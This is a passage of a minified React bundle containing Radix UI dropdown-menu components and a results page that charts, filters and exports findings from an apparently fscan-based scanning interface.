n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:c.modal?E.jsx(lce,{...i,ref:t}):E.jsx(sce,{...i,ref:t})})})})}),lce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(ow,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:n.open,disableOutsideScroll:!0,onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=>n.onOpenChange(!1)})}),sce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu);return E.jsx(ow,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=>n.onOpenChange(!1)})}),cce=Fse("MenuContent.ScrollLock"),ow=v.forwardRef((e,t)=>{const{__scopeMenu:n,loop:r=!1,trapFocus:i,onOpenAutoFocus:l,onCloseAutoFocus:c,disableOutsidePointerEvents:u,onEntryFocus:f,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,disableOutsideScroll:S,...w}=e,O=No(cr,n),A=gu(cr,n),_=Hp(n),T=dz(n),j=ece(n),[M,P]=v.useState(null),R=v.useRef(null),I=De(t,R,O.onContentChange),B=v.useRef(0),q=v.useRef(""),U=v.useRef(0),V=v.useRef(null),oe=v.useRef("right"),le=v.useRef(0),ce=S?zh:v.Fragment,L=S?{as:cce,allowPinchZoom:!0}:void 0,F=Z=>{const de=q.current+Z,D=j().filter(ee=>!ee.disabled),X=document.activeElement,ae=D.find(ee=>ee.ref.current===X)?.textValue,se=D.map(ee=>ee.textValue),me=wce(se,de,ae),xe=D.find(ee=>ee.textValue===me)?.ref.current;(function ee(_e){q.current=_e,window.clearTimeout(B.current),_e!==""&&(B.current=window.setTimeout(()=>ee(""),1e3))})(de),xe&&setTimeout(()=>xe.focus())};v.useEffect(()=>()=>window.clearTimeout(B.current),[]),Yb();const $=v.useCallback(Z=>oe.current===V.current?.side&&Oce(Z,V.current?.area),[]);return E.jsx(oce,{scope:n,searchRef:q,onItemEnter:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),onItemLeave:v.useCallback(Z=>{$(Z)||(R.current?.focus(),P(null))},[$]),onTriggerLeave:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),pointerGraceTimerRef:U,onPointerGraceIntentChange:v.useCallback(Z=>{V.current=Z},[]),children:E.jsx(ce,{...L,children:E.jsx(Lh,{asChild:!0,trapped:i,onMountAutoFocus:ue(l,Z=>{Z.preventDefault(),R.current?.focus({preventScroll:!0})}),onUnmountAutoFocus:c,children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:u,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,children:E.jsx(JI,{asChild:!0,...T,dir:A.dir,orientation:"vertical",loop:r,currentTabStopId:M,onCurrentTabStopIdChange:P,onEntryFocus:ue(f,Z=>{A.isUsingKeyboardRef.current||Z.preventDefault()}),preventScrollOnEntryFocus:!0,children:E.jsx(Bb,{role:"menu","aria-orientation":"vertical","data-state":Pz(O.open),"data-radix-menu-content":"",dir:A.dir,..._,...w,ref:I,style:{outline:"none",...w.style},onKeyDown:ue(w.onKeyDown,Z=>{const D=Z.target.closest("[data-radix-menu-content]")===Z.currentTarget,X=Z.ctrlKey||Z.altKey||Z.metaKey,ae=Z.key.length===1;D&&(Z.key==="Tab"&&Z.preventDefault(),!X&&ae&&F(Z.key));const se=R.current;if(Z.target!==se||!Zse.includes(Z.key))return;Z.preventDefault();const xe=j().filter(ee=>!ee.disabled).map(ee=>ee.ref.current);uz.includes(Z.key)&&xe.reverse(),bce(xe)}),onBlur:ue(e.onBlur,Z=>{Z.currentTarget.contains(Z.target)||(window.clearTimeout(B.current),q.current="")}),onPointerMove:ue(e.onPointerMove,Uc(Z=>{const de=Z.target,D=le.current!==Z.clientX;if(Z.currentTarget.contains(de)&&D){const X=Z.clientX>le.current?"right":"left";oe.current=X,le.current=Z.clientX}}))})})})})})})});vz.displayName=cr;var uce="MenuGroup",lw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"group",...r,ref:t})});lw.displayName=uce;var fce="MenuLabel",gz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{...r,ref:t})});gz.displayName=fce;var Sh="MenuItem",lM="menu.itemSelect",qp=v.forwardRef((e,t)=>{const{disabled:n=!1,onSelect:r,...i}=e,l=v.useRef(null),c=gu(Sh,e.__scopeMenu),u=iw(Sh,e.__scopeMenu),f=De(t,l),h=v.useRef(!1),p=()=>{const m=l.current;if(!n&&m){const y=new CustomEvent(lM,{bubbles:!0,cancelable:!0});m.addEventListener(lM,x=>r?.(x),{once:!0}),AM(m,y),y.defaultPrevented?h.current=!1:c.onClose()}};return E.jsx(yz,{...i,ref:f,disabled:n,onClick:ue(e.onClick,p),onPointerDown:m=>{e.onPointerDown?.(m),h.current=!0},onPointerUp:ue(e.onPointerUp,m=>{h.current||m.currentTarget?.click()}),onKeyDown:ue(e.onKeyDown,m=>{const y=u.searchRef.current!=="";n||y&&m.key===" "||Ab.includes(m.key)&&(m.currentTarget.click(),m.preventDefault())})})});qp.displayName=Sh;var yz=v.forwardRef((e,t)=>{const{__scopeMenu:n,disabled:r=!1,textValue:i,...l}=e,c=iw(Sh,n),u=dz(n),f=v.useRef(null),h=De(t,f),[p,m]=v.useState(!1),[y,x]=v.useState("");return v.useEffect(()=>{const S=f.current;S&&x((S.textContent??"").trim())},[l.children]),E.jsx(Bc.ItemSlot,{scope:n,disabled:r,textValue:i??y,children:E.jsx(e3,{asChild:!0,...u,focusable:!r,children:E.jsx(Ce.div,{role:"menuitem","data-highlighted":p?"":void 0,"aria-disabled":r||void 0,"data-disabled":r?"":void 0,...l,ref:h,onPointerMove:ue(e.onPointerMove,Uc(S=>{r?c.onItemLeave(S):(c.onItemEnter(S),S.defaultPrevented||S.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:ue(e.onPointerLeave,Uc(S=>c.onItemLeave(S))),onFocus:ue(e.onFocus,()=>m(!0)),onBlur:ue(e.onBlur,()=>m(!1))})})})}),dce="MenuCheckboxItem",bz=v.forwardRef((e,t)=>{const{checked:n=!1,onCheckedChange:r,...i}=e;return E.jsx(Ez,{scope:e.__scopeMenu,checked:n,children:E.jsx(qp,{role:"menuitemcheckbox","aria-checked":Oh(n)?"mixed":n,...i,ref:t,"data-state":cw(n),onSelect:ue(i.onSelect,()=>r?.(Oh(n)?!0:!n),{checkForDefaultPrevented:!1})})})});bz.displayName=dce;var xz="MenuRadioGroup",[hce,pce]=To(xz,{value:void 0,onValueChange:()=>{}}),wz=v.forwardRef((e,t)=>{const{value:n,onValueChange:r,...i}=e,l=en(r);return E.jsx(hce,{scope:e.__scopeMenu,value:n,onValueChange:l,children:E.jsx(lw,{...i,ref:t})})});wz.displayName=xz;var Sz="MenuRadioItem",Oz=v.forwardRef((e,t)=>{const{value:n,...r}=e,i=pce(Sz,e.__scopeMenu),l=n===i.value;return E.jsx(Ez,{scope:e.__scopeMenu,checked:l,children:E.jsx(qp,{role:"menuitemradio","aria-checked":l,...r,ref:t,"data-state":cw(l),onSelect:ue(r.onSelect,()=>i.onValueChange?.(n),{checkForDefaultPrevented:!1})})})});Oz.displayName=Sz;var sw="MenuItemIndicator",[Ez,mce]=To(sw,{checked:!1}),Az=v.forwardRef((e,t)=>{const{__scopeMenu:n,forceMount:r,...i}=e,l=mce(sw,n);return E.jsx(ln,{present:r||Oh(l.checked)||l.checked===!0,children:E.jsx(Ce.span,{...i,ref:t,"data-state":cw(l.checked)})})});Az.displayName=sw;var vce="MenuSeparator",Cz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"separator","aria-orientation":"horizontal",...r,ref:t})});Cz.displayName=vce;var gce="MenuArrow",_z=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx(Ub,{...i,...r,ref:t})});_z.displayName=gce;var yce="MenuSub",[Bue,Tz]=To(yce),vc="MenuSubTrigger",Nz=v.forwardRef((e,t)=>{const n=No(vc,e.__scopeMenu),r=gu(vc,e.__scopeMenu),i=Tz(vc,e.__scopeMenu),l=iw(vc,e.__scopeMenu),c=v.useRef(null),{pointerGraceTimerRef:u,onPointerGraceIntentChange:f}=l,h={__scopeMenu:e.__scopeMenu},p=v.useCallback(()=>{c.current&&window.clearTimeout(c.current),c.current=null},[]);return v.useEffect(()=>p,[p]),v.useEffect(()=>{const m=u.current;return()=>{window.clearTimeout(m),f(null)}},[u,f]),E.jsx(rw,{asChild:!0,...h,children:E.jsx(yz,{id:i.triggerId,"aria-haspopup":"menu","aria-expanded":n.open,"aria-controls":i.contentId,"data-state":Pz(n.open),...e,ref:ja(t,i.onTriggerChange),onClick:m=>{e.onClick?.(m),!(e.disabled||m.defaultPrevented)&&(m.currentTarget.focus(),n.open||n.onOpenChange(!0))},onPointerMove:ue(e.onPointerMove,Uc(m=>{l.onItemEnter(m),!m.defaultPrevented&&!e.disabled&&!n.open&&!c.current&&(l.onPointerGraceIntentChange(null),c.current=window.setTimeout(()=>{n.onOpenChange(!0),p()},100))})),onPointerLeave:ue(e.onPointerLeave,Uc(m=>{p();const y=n.content?.getBoundingClientRect();if(y){const x=n.content?.dataset.side,S=x==="right",w=S?-5:5,O=y[S?"left":"right"],A=y[S?"right":"left"];l.onPointerGraceIntentChange({area:[{x:m.clientX+w,y:m.clientY},{x:O,y:y.top},{x:A,y:y.top},{x:A,y:y.bottom},{x:O,y:y.bottom}],side:x}),window.clearTimeout(u.current),u.current=window.setTimeout(()=>l.onPointerGraceIntentChange(null),300)}else{if(l.onTriggerLeave(m),m.defaultPrevented)return;l.onPointerGraceIntentChange(null)}})),onKeyDown:ue(e.onKeyDown,m=>{const y=l.searchRef.current!=="";e.disabled||y&&m.key===" "||Qse[r.dir].includes(m.key)&&(n.onOpenChange(!0),n.content?.focus(),m.preventDefault())})})})});Nz.displayName=vc;var Mz="MenuSubContent",jz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu),u=Tz(Mz,e.__scopeMenu),f=v.useRef(null),h=De(t,f);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:E.jsx(ow,{id:u.contentId,"aria-labelledby":u.triggerId,...i,ref:h,align:"start",side:c.dir==="rtl"?"left":"right",disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:p=>{c.isUsingKeyboardRef.current&&f.current?.focus(),p.preventDefault()},onCloseAutoFocus:p=>p.preventDefault(),onFocusOutside:ue(e.onFocusOutside,p=>{p.target!==u.trigger&&l.onOpenChange(!1)}),onEscapeKeyDown:ue(e.onEscapeKeyDown,p=>{c.onClose(),p.preventDefault()}),onKeyDown:ue(e.onKeyDown,p=>{const m=p.currentTarget.contains(p.target),y=Jse[c.dir].includes(p.key);m&&y&&(l.onOpenChange(!1),u.trigger?.focus(),p.preventDefault())})})})})})});jz.displayName=Mz;function Pz(e){return e?"open":"closed"}function Oh(e){return e==="indeterminate"}function cw(e){return Oh(e)?"indeterminate":e?"checked":"unchecked"}function bce(e){const t=document.activeElement;for(const n of e)if(n===t||(n.focus(),document.activeElement!==t))return}function xce(e,t){return e.map((n,r)=>e[(t+r)%e.length])}function wce(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=xce(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function Sce(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function Oce(e,t){if(!t)return!1;const n={x:e.clientX,y:e.clientY};return Sce(n,t)}function Uc(e){return t=>t.pointerType==="mouse"?e(t):void 0}var Ece=hz,Ace=rw,Cce=mz,_ce=vz,Tce=lw,Nce=gz,Mce=qp,jce=bz,Pce=wz,Rce=Oz,Dce=Az,kce=Cz,Lce=_z,Ice=Nz,zce=jz,Fp="DropdownMenu",[$ce]=Fn(Fp,[fz]),mn=fz(),[Bce,Rz]=$ce(Fp),Dz=e=>{const{__scopeDropdownMenu:t,children:n,dir:r,open:i,defaultOpen:l,onOpenChange:c,modal:u=!0}=e,f=mn(t),h=v.useRef(null),[p,m]=Oa({prop:i,defaultProp:l??!1,onChange:c,caller:Fp});return E.jsx(Bce,{scope:t,triggerId:sr(),triggerRef:h,contentId:sr(),open:p,onOpenChange:m,onOpenToggle:v.useCallback(()=>m(y=>!y),[m]),modal:u,children:E.jsx(Ece,{...f,open:p,onOpenChange:m,dir:r,modal:u,children:n})})};Dz.displayName=Fp;var kz="DropdownMenuTrigger",Lz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,disabled:r=!1,...i}=e,l=Rz(kz,n),c=mn(n);return E.jsx(Ace,{asChild:!0,...c,children:E.jsx(Ce.button,{type:"button",id:l.triggerId,"aria-haspopup":"menu","aria-expanded":l.open,"aria-controls":l.open?l.contentId:void 0,"data-state":l.open?"open":"closed","data-disabled":r?"":void 0,disabled:r,...i,ref:ja(t,l.triggerRef),onPointerDown:ue(e.onPointerDown,u=>{!r&&u.button===0&&u.ctrlKey===!1&&(l.onOpenToggle(),l.open||u.preventDefault())}),onKeyDown:ue(e.onKeyDown,u=>{r||(["Enter"," "].includes(u.key)&&l.onOpenToggle(),u.key==="ArrowDown"&&l.onOpenChange(!0),["Enter"," ","ArrowDown"].includes(u.key)&&u.preventDefault())})})})});Lz.displayName=kz;var Uce="DropdownMenuPortal",Iz=e=>{const{__scopeDropdownMenu:t,...n}=e,r=mn(t);return E.jsx(Cce,{...r,...n})};Iz.displayName=Uce;var zz="DropdownMenuContent",$z=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=Rz(zz,n),l=mn(n),c=v.useRef(!1);return E.jsx(_ce,{id:i.contentId,"aria-labelledby":i.triggerId,...l,...r,ref:t,onCloseAutoFocus:ue(e.onCloseAutoFocus,u=>{c.current||i.triggerRef.current?.focus(),c.current=!1,u.preventDefault()}),onInteractOutside:ue(e.onInteractOutside,u=>{const f=u.detail.originalEvent,h=f.button===0&&f.ctrlKey===!0,p=f.button===2||h;(!i.modal||p)&&(c.current=!0)}),style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});$z.displayName=zz;var Hce="DropdownMenuGroup",qce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Tce,{...i,...r,ref:t})});qce.displayName=Hce;var Fce="DropdownMenuLabel",Bz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Nce,{...i,...r,ref:t})});Bz.displayName=Fce;var Vce="DropdownMenuItem",Uz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Mce,{...i,...r,ref:t})});Uz.displayName=Vce;var Kce="DropdownMenuCheckboxItem",Hz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(jce,{...i,...r,ref:t})});Hz.displayName=Kce;var Yce="DropdownMenuRadioGroup",Gce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Pce,{...i,...r,ref:t})});Gce.displayName=Yce;var Wce="DropdownMenuRadioItem",qz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Rce,{...i,...r,ref:t})});qz.displayName=Wce;var Xce="DropdownMenuItemIndicator",Fz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Dce,{...i,...r,ref:t})});Fz.displayName=Xce;var Zce="DropdownMenuSeparator",Vz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(kce,{...i,...r,ref:t})});Vz.displayName=Zce;var Qce="DropdownMenuArrow",Jce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Lce,{...i,...r,ref:t})});Jce.displayName=Qce;var eue="DropdownMenuSubTrigger",Kz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Ice,{...i,...r,ref:t})});Kz.displayName=eue;var tue="DropdownMenuSubContent",Yz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(zce,{...i,...r,ref:t,style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Yz.displayName=tue;var nue=Dz,rue=Lz,aue=Iz,Gz=$z,Wz=Bz,Xz=Uz,Zz=Hz,Qz=qz,Jz=Fz,e5=Vz,t5=Kz,n5=Yz;const iue=nue,oue=rue,lue=v.forwardRef(({className:e,inset:t,children:n,...r},i)=>E.jsxs(t5,{ref:i,className:Ee("flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...r,children:[n,E.jsx(j6,{className:"ml-auto"})]}));lue.displayName=t5.displayName;const sue=v.forwardRef(({className:e,...t},n)=>E.jsx(n5,{ref:n,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...t}));sue.displayName=n5.displayName;const r5=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(aue,{children:E.jsx(Gz,{ref:r,sideOffset:t,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));r5.displayName=Gz.displayName;const Cb=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Xz,{ref:r,className:Ee("relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...n}));Cb.displayName=Xz.displayName;const cue=v.forwardRef(({className:e,children:t,checked:n,...r},i)=>E.jsxs(Zz,{ref:i,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),checked:n,...r,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(gM,{className:"h-4 w-4"})})}),t]}));cue.displayName=Zz.displayName;const uue=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(Qz,{ref:r,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(z6,{className:"h-2 w-2 fill-current"})})}),t]}));uue.displayName=Qz.displayName;const fue=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Wz,{ref:r,className:Ee("px-2 py-1.5 text-sm font-semibold",t&&"pl-8",e),...n}));fue.displayName=Wz.displayName;const due=v.forwardRef(({className:e,...t},n)=>E.jsx(e5,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));due.displayName=e5.displayName;function dc({className:e,...t}){return E.jsx("div",{className:Ee("animate-pulse rounded-md bg-muted",e),...t})}const di={host:"hsl(var(--chart-1))",port:"hsl(var(--chart-2))",service:"hsl(var(--chart-3))",vuln:"hsl(var(--chart-4))"};function hue({results:e}){const{t}=xo(),n=v.useMemo(()=>{const l={host:0,port:0,service:0,vuln:0};return e.forEach(c=>{const u=c.type?.toLowerCase();u in l&&l[u]++}),[{name:t("typeHost"),value:l.host,fill:di.host},{name:t("typePort"),value:l.port,fill:di.port},{name:t("typeService"),value:l.service,fill:di.service},{name:t("typeVuln"),value:l.vuln,fill:di.vuln}]},[e,t]),r={host:{label:t("typeHost"),color:di.host},port:{label:t("typePort"),color:di.port},service:{label:t("typeService"),color:di.service},vuln:{label:t("typeVuln"),color:di.vuln}},i=e.length>0;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-2",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(s0,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsx(ga,{variant:"secondary",className:"font-mono",children:e.length})]}),E.jsx(Zl,{children:i?E.jsxs("div",{className:"space-y-4",children:[E.jsx("div",{className:"flex justify-center",children:E.jsx(bh,{config:r,className:"h-[160px] w-[160px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:n.filter(l=>l.value>0),dataKey:"value",nameKey:"name",innerRadius:35,outerRadius:60,strokeWidth:2,stroke:"hsl(var(--background))",children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}),E.jsx("div",{className:"space-y-2",children:n.map((l,c)=>E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx("div",{className:"w-3 h-3 rounded-sm shrink-0",style:{backgroundColor:l.fill}}),E.jsx("span",{className:"text-muted-foreground",children:l.name})]}),E.jsx("span",{className:"font-mono font-medium",children:l.value})]},c))}),E.jsx(bh,{config:r,className:"h-[120px] w-full",children:E.jsxs(lle,{data:n,layout:"vertical",margin:{left:0,right:8},children:[E.jsx(SI,{type:"number",hide:!0}),E.jsx(OI,{type:"category",dataKey:"name",tickLine:!1,axisLine:!1,width:50,tick:{fontSize:11}}),E.jsx(Ob,{content:E.jsx(xh,{})}),E.jsx(xI,{dataKey:"value",radius:3,children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))})]})})]}):E.jsx(Vh,{icon:s0,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-6"})})]})}const pue={host:Tb,port:_b,service:SM,vuln:Nb};function mue(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState([]),[i,l]=v.useState("all"),[c,u]=v.useState(!1),f=v.useCallback(async()=>{u(!0);try{const S=await Rle();r(S.items)}catch(S){console.error("Failed to fetch results:",S)}finally{u(!1)}},[]);v.useEffect(()=>{f()},[f]);const h=async S=>{try{const w=await Dle(S),O=URL.createObjectURL(w),A=document.createElement("a");A.href=O,A.download=`fscan_results.${S}`,A.click(),URL.revokeObjectURL(O)}catch(w){console.error("Failed to export:",w)}},p=async()=>{try{await kle(),r([]),t()}catch(S){console.error("Failed to clear:",S)}},m=S=>{const w=S?.toLowerCase();return pue[w]||bM},y=S=>{switch(S?.toLowerCase()){case"host":return e("typeHost");case"port":return e("typePort");case"service":return e("typeService");case"vuln":return e("typeVuln");default:return S}},x=i==="all"?n:n.filter(S=>S.type===i);return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4",children:[E.jsxs("div",{className:"lg:col-span-7 space-y-4",children:[E.jsx(GP,{compact:!0,showTypeLabel:!0}),E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(lB,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),e("resultsTitle"),E.jsxs(ga,{variant:"secondary",className:"font-mono",children:[x.length," ",e("items")]})]}),E.jsxs("div",{className:"flex items-center gap-1 sm:gap-2",children:[E.jsxs(qH,{children:[E.jsx(FH,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",onClick:f,disabled:c,className:"gap-1.5",children:[E.jsx(yB,{className:`w-4 h-4 ${c?"animate-spin":""}`}),E.jsx("span",{className:"hidden sm:inline",children:e("refresh")})]})}),E.jsx(wj,{children:e("refresh")})]}),E.jsxs(iue,{children:[E.jsx(oue,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"gap-1.5",children:[E.jsx(H6,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("export")}),E.jsx(Ch,{className:"w-3 h-3"})]})}),E.jsxs(r5,{align:"end",children:[E.jsxs(Cb,{onClick:()=>h("json"),children:[E.jsx(G6,{className:"w-4 h-4 mr-2"}),"JSON"]}),E.jsxs(Cb,{onClick:()=>h("csv"),children:[E.jsx(X6,{className:"w-4 h-4 mr-2"}),"CSV"]})]})]}),E.jsx(y3,{orientation:"vertical",className:"h-5 mx-1"}),E.jsxs(Use,{children:[E.jsx(Hse,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"text-destructive hover:text-destructive hover:bg-destructive/10 gap-1.5",children:[E.jsx(jB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("clearAll")})]})}),E.jsxs(rz,{children:[E.jsxs(az,{children:[E.jsx(oz,{children:e("clearConfirmTitle")}),E.jsx(lz,{children:e("clearConfirm")})]}),E.jsxs(iz,{children:[E.jsx(cz,{children:e("cancel")}),E.jsx(sz,{onClick:p,className:"bg-destructive text-destructive-foreground hover:bg-destructive/90",children:e("clearAll")})]})]})]})]})]}),E.jsx(Zl,{children:E.jsxs(Qle,{value:i,onValueChange:l,children:[E.jsxs(p3,{className:"h-9 sm:h-10 p-1 bg-muted/50 mb-4",children:[E.jsxs(Ol,{value:"all",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Q6,{className:"w-3.5 h-3.5"}),e("resultsFilterAll")]}),E.jsxs(Ol,{value:"host",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Tb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterHosts")})]}),E.jsxs(Ol,{value:"port",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(_b,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterPorts")})]}),E.jsxs(Ol,{value:"service",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(SM,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterServices")})]}),E.jsxs(Ol,{value:"vuln",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Nb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterVulns")})]})]}),E.jsx(m3,{value:i,className:"mt-0",children:E.jsx(rx,{className:"h-[calc(100vh-420px)] min-h-[400px]",children:c?E.jsx("div",{className:"space-y-3 py-2",children:[...Array(5)].map((S,w)=>E.jsxs("div",{className:"flex items-start gap-3 p-3 rounded-lg border",children:[E.jsx(dc,{className:"w-10 h-10 rounded-lg shrink-0"}),E.jsxs("div",{className:"flex-1 space-y-2",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(dc,{className:"h-5 w-16"}),E.jsx(dc,{className:"h-4 w-32"})]}),E.jsx(dc,{className:"h-4 w-48"})]}),E.jsx(dc,{className:"h-5 w-20 